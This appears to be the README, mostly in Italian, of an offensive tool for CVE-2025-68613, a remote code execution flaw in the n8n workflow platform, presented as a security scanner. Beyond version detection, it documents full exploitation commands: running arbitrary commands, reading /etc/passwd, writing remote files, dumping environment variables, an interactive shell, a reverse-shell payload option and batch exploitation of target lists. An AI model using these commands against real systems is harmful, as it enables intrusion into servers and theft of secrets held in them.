n8n God Mode Ultimate - CVE-2025-68613 Scanner v1.0.0 ║ ║ Esecuzione remota di codice nell'automazione dei workflow
n8n God Mode Ultimate è un framework completo di test di sicurezza progettato per rilevare e validare la CVE-2025-68613 nelle piattaforme di automazione dei flussi di lavoro n8n. Questa vulnerabilità critica di Remote Code Execution (RCE) colpisce le versioni di n8n tramite l'iniezione di espressioni nei contesti di esecuzione dei flussi di lavoro.
Versioni interessate:
Versioni patchate:
--detect - Solo rilevamento della versione (il più veloce, non intrusivo)--safe - Verifica sicura della vulnerabilità senza exploitation--poc - Validazione proof-of-concept della RCE--exploit - Modalità di exploitation completaread <file> - Legge file remotiwrite <file> <content> - Scrive file sul target# Python 3.8 or higher
python3 --version
# pip package manager
pip3 --version
# Clone the repository
git clone https://github.com/hackersatyamrastogi/n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate.git
cd n8n-exploit-CVE-2025-68613-n8n-God-Mode-Ultimate
# Install required packages
pip3 install -r requirements.txt
requests>=2.31.0
urllib3>=2.0.0
tqdm>=4.66.0
colorama>=0.4.6
# Display help menu
python3 n8n-godmode-ultimate.py -h
# Detect n8n version (non-intrusive)
python3 n8n-godmode-ultimate.py -u http://target:5678 --detect
# Safe vulnerability check
python3 n8n-godmode-ultimate.py -u http://target:5678 --safe -e [email protected] -p password
# Proof-of-concept RCE
python3 n8n-godmode-ultimate.py -u http://target:5678 --poc -e [email protected] -p password
# Full exploitation
python3 n8n-godmode-ultimate.py -u http://target:5678 --exploit -e [email protected] -p password
# Execute single command
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --cmd "whoami"
# Read remote file
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --read-file "/etc/passwd"
# Write remote file
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --write-file "/tmp/test.txt" --content "payload"
# Extract environment variables
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --dump-env
# Interactive shell
python3 n8n-godmode-ultimate.py --god -u http://target:5678 \
-e [email protected] -p password --shell
# Scan multiple targets from file
python3 n8n-godmode-ultimate.py -l targets.txt --detect -t 20
# Batch exploitation
python3 n8n-godmode-ultimate.py -l targets.txt --poc -e [email protected] -p password -t 10
Formato di targets.txt:
http://target1:5678
https://target2.example.com
http://192.168.1.100:5678
https://n8n.example.org
Una volta in modalità shell (--shell):
n8n> whoami # Execute command
n8n> read /etc/passwd # Read file
n8n> env # Show environment variables
n8n> info # System information
n8n> history # Command history
n8n> exit # Exit shell
-u, --url URL URL del target n8n
-l, --list FILE File contenente gli URL dei target
-t, --threads NUM Numero di thread per la scansione batch (default: 10)
-e, --email EMAIL Email utente n8n
-p, --password PASS Password utente n8n
--detect Solo rilevamento della versione (il più veloce)
--safe Verifica sicura senza exploitation
--poc Proof-of-concept della RCE
--exploit Modalità di exploitation completa
--god Abilita la god mode
--cmd COMMAND Esegue un singolo comando
--read-file PATH Legge un file remoto
--write-file PATH Scrive un file remoto
--content DATA Contenuto per l'operazione di scrittura
--dump-env Estrae tutte le variabili d'ambiente
--shell Modalità shell interattiva
--revshell HOST:PORT Payload di reverse shell
--mode MODE Modalità di exploit: schedule|webhook|code|expression (default: schedule)
--timeout SEC Timeout del comando in secondi (default: 30)
--cleanup Elimina i flussi di lavoro dopo l'esecuzione
-k, --insecure Disabilita la verifica SSL
-v, --verbose Output verboso
-q, --quiet Output minimale
Crea un flusso di lavoro con un trigger programmato che si esegue automaticamente ogni 3 secondi. Il metodo più affidabile.